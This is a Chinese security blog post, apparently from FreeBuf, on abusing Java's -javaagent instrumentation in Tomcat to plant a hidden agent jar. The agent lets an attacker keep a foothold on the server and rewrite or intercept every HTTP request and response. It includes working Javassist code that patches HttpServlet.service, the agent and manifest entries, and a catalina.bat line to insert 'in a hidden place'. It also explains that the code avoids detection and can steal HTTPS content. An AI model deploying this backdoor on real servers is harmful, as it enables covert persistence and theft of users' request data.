最近偶然接触到一个Java的不常用的特性:instrument。简单来说,这个特性允许你在程序运行之前改变任意类文件的字节码。简单的instrument例子大家可以百度,相当多。而在运行Java程序的时候,只需要加上一个选项即可运行写好的instrument jar包,如:java -javaagent:agent.jar -jar helloworld.jar。
那么回到这次的主题,如何在tomcat中利用这个特性做到提权和劫持数据呢?
提权的思路其实可能有些小伙伴已经想到了。就是根据这个特性写一个Java程序,打包成jar(比如agent.jar),然后放到tomcat的lib里或者其他地方,然后在catalina.bat中找个隐蔽的地方加上如下一行:
set CATALINA_OPTS=%CATALINA_OPTS% -javaagent:绝对路径/agent.jar=参数
当管理员启动tomcat的时候就会执行agent里的Java代码了。
当然,这么做需要能上传文件以及对catalina.bat有写权限。
其实当你能登录服务器或者有shell的时候,已经可以做很多事了。提权可能根本不需要通过tomcat这种途径。
那么是否还能做点别的呢?
根据这个特性,其实还可以拦截所有http请求的数据。
据本人所知,所有Java web项目里的请求处理类都继承了HttpServlet这个抽象类,包括Spring。所以你只要通过这个特性,修改HttpServlet的代码就可以获取和改动所有request和response的头以及数据,要把数据发走也不是问题,加个URLconnection的处理就行。以下给一个简单的示例,
项目截图:
Transformer类,功能相当于把Java代码插入了HttpServlet中。几乎可插入任意变量和方法,但有些写法上稍微与一般的java不一样,且尽量使用core java:
package org.xf.agent; import java.io.ByteArrayInputStream; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.lang.reflect.Modifier; import java.security.ProtectionDomain; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; public class ServletTransformer implements ClassFileTransformer{ @Override public byte[] transform(ClassLoader loader, String className,Class<?> classBeingRedefined, ProtectionDomain protectionDomain,byte[] classfileBuffer) throws IllegalClassFormatException { if(className.equals("javax/servlet/http/HttpServlet")){ return transformClass(classfileBuffer); } return classfileBuffer; } private byte[] transformClass(byte[] classfileBuffer) { try { ClassPool cp = ClassPool.getDefault(); CtClass cc = cp.makeClass(new ByteArrayInputStream(classfileBuffer)); CtMethod[] ms = cc.getDeclaredMethods(); for(CtMethod method: ms) { //只改动service方法就够了 if(method.getName().equals("service")&&Modifier.toString(method.getModifiers()).equals("protected")) { method.insertAfter("resp.setHeader(/"Server/",/"JBoss/");"); } } byte[] byteCode = cc.toBytecode(); cc.detach(); return byteCode; } catch (Exception ex) { ex.printStackTrace(); return null; } } }
Agent类:
package org.xf.agent; import java.lang.instrument.Instrumentation; public class ServletAgent { public static void premain(String agentArguments, Instrumentation instrumentation) { instrumentation.addTransformer(new ServletTransformer()); } }
导出为可执行Jar,用7z编辑Jar包里的MANIFEST.MF文件,加上一行:
premain-Class: org.xf.agent.ServletAgent
样本如下图所示:
然后随便建个Web项目,servlet代码如下:
@WebServlet("/Basic") public class Basic extends HttpServlet { private static final long serialVersionUID = 1L; /** * @see HttpServlet#HttpServlet() */ public Basic() { super(); // TODO Auto-generated constructor stub } /** * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response) */ protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.getWriter().print("Hello"); } /** * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response) */ protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.getWriter().print("Hello"); } }
别忘了在tomcat的catalina.bat中加入那一行,建议使用绝对路径,然后下面是运行效果,可以看到响应头中出现了Server: JBoss。
这样做的隐蔽性很好,因为几乎不会有管理员去检查lib里的jar是不是多了一个,catalina的配置更是几百年都不一定检查一次。而无论项目war包如何换,都不影响这个隐藏jar包的。基本只要这个程序不导致什么重大的性能问题,就很难被发现。并且由于这个方法是从内部修改程序,HTTPS加密的内容也可以修改和盗取。
这并不是一个Bug或者漏洞,而是一个完全正规的Java特性,所以。。。应该是不可被修复的吧。
*本文作者:jfeiyi 。转载请注明来自FreeBuf.com